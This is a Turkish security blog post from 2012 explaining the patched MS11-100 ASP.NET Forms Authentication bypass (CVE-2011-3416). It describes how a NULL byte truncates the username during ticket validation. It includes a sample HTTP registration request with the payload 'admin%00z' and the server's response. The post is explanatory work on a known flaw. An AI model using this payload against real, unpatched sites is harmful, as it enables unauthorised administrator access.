Thursday, February 16, 2012

MS11-100 - ASP.NET Forms Auth. Bypass - Revenge of the 0x00

Microsoft MS11-100 güncellemesi ile geçen ay sonlarına doğru meşhur HashTable Collision DoS (CVE-2011-3414), .NET Forms Authentication Bypass (CVE-2011-3416) v.b. .NET platformunu etkileyen güvenlik açıklarını kapattı. Bu blog girdisinde ele alacağım zafiyet ise .NET Forms Authentication Bypass (Revenge of the NULL Byte).

PHP'nin ortalama 6-7 yıl sonra kapattığı NULL byte zafiyetini hatırlarsınız. LFI açıklarında vs.. varolan dosya uzantılarını PHP atlasın diye LFI atak vektörünün sonuna eklerdik (şimdilerde bu açık kapandı fakat halen eski PHP versiyonlarında varlığını sürdürüyor). Güvensiz bir şekilde string kopyalama işlemlerinde %00 (NULL byte), terminate char olarak kabul edildiği için NULL karakterinden sonraki karakterler ilgili buffer'a kopyalanmıyor. String uzunluğu hesaplama sırasında eğer güvensiz bir kullanım olduğunda fonksiyon sadece NULL karakterine kadar olan kısmın geçerli olduğunu düşünüp ona göre uzunluk gönderiyor. Genel olarak NULL byte ile ilgili saldirilar bu durumlardan oluşuyordu. Mevzu bahis zafiyette string'in uzunluğu hesaplanırken lstrlenW "güvensiz" fonksiyonu kullanıldığı için NULL karakterine kadar hesaplama yapıyor ve ilgili buffer'a NULL karakterinden sonrasını kopyalamıyor. Yani şöyle bir durum girdiniz değer input değişkeni olsun;
input = "username"
len = lstrlenW(input) // input'un karakter uzunluğu - 8
// herhangi bir buffer'a input değişkeninin len karakterini kopyala

Fakat ben input içerisinde NULL byte eklersem yine termination karakteri görevini görecek. MSDN'de de ilgili fonksiyonun vukuatlı olduğu bildiriliyor.

MSDN lstrlenW fonksiyonu uyarısı
Az önceki input değişkenine müdahele edersem eğer;

input = "username%00aaa"
len = lstrlenW(input) // input'un karakter uzunluğu - 8
// herhangi bir buffer'a input değişkeninin len karakterini kopyala

Yine aynı durum oldu ve en sondaki "aaa" işleme dahil edilmedi. Bu tip bir kopyalama işlemini kullanan webengine4.dll Forms Authentication Bypass zafiyetine sebebiyet veriyor. Çünkü System.Web.dll içerisindeki tanımlı giriş yapmış kullanıcı için oluşturulan ticket'i doğrulayan fonksiyon webengine4.dll içerisindeki bu fonksiyon ile kullanıcı adını aldığı için otomatik olarak hak yükseltmeye sebebiyet veriyor.

Saldırganın başarılı olabilmesi için sistem üzerinde geçerli bir kullanıcı adını bilmesi lazım (ki ticket validation sırasında bu daha yüksek hakka sahip kullanıcı olarak yetki kazansın) ve sisteme yeni bir kullanıcı olarak kaydolabilmeye izni olması lazım. Atak vektörü olarak kullanıcı adını VarolanBirKullanıcı%00XX şeklinde sisteme kaydetmesi gerekmektedir. NULL Byte sonrası önemsenmeyeceği için oraya ne girdiğinizin pek bir önemi yok aslında.

Örnek bir saldırıya ait HTTP isteği;

POST /Membership/CreatingUserAccounts.aspx HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3966

__EVENTTARGET=...&__EVENTARGUMENT=...&__VIEWSTATE=...&__EVENTVALIDATION=...&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24UserName=admin%00z&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Password=12345a%21&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24ConfirmPassword=12345a%21&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Email=admin%40slimshady.com&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Question=slim%3F&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Answer=shady&ctl00%24MainContent%24RegisterUser%24__CustomNav0%24StepNextButtonButton=Create+User

HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Feb 2012 21:32:22 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXAUTH=...; path=/; HttpOnly
Cache-Control: private, no-cache="Set-Cookie"
Content-Type: text/html; charset=utf-8
Content-Length: 22161


ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24UserName=admin%00z



Sonuç olarak saldırgan admin%00z kullanıcı adıyla sisteme başarıyla üye olabilmekte. Ardından login olduğunda ise /Admin/ dizini altındaki dosyalara izni olmasa dahi erişebilmekte, çünkü lstrlenW kullanımından dolayı Ticket doğrulama aşamasında NULL Byte karakteri stringi sonlandırmakta ve kullanıcı adı admin zannedilmektedir. DotNetNuke isimli open-source ASP.NET uygulamasınında ilgili zafiyeti içerdiği söylenmekte. Benim söyleyeceklerim bu kadar, her zaman ki gibi hatırlatma yapayım; yazı içerisinde eksik, hata vs.. varsa ve bildirirseniz çok memnun olurum.

Görüldüğü üzere NULL'da olsa ciddiye almak lazım :)

2 comments: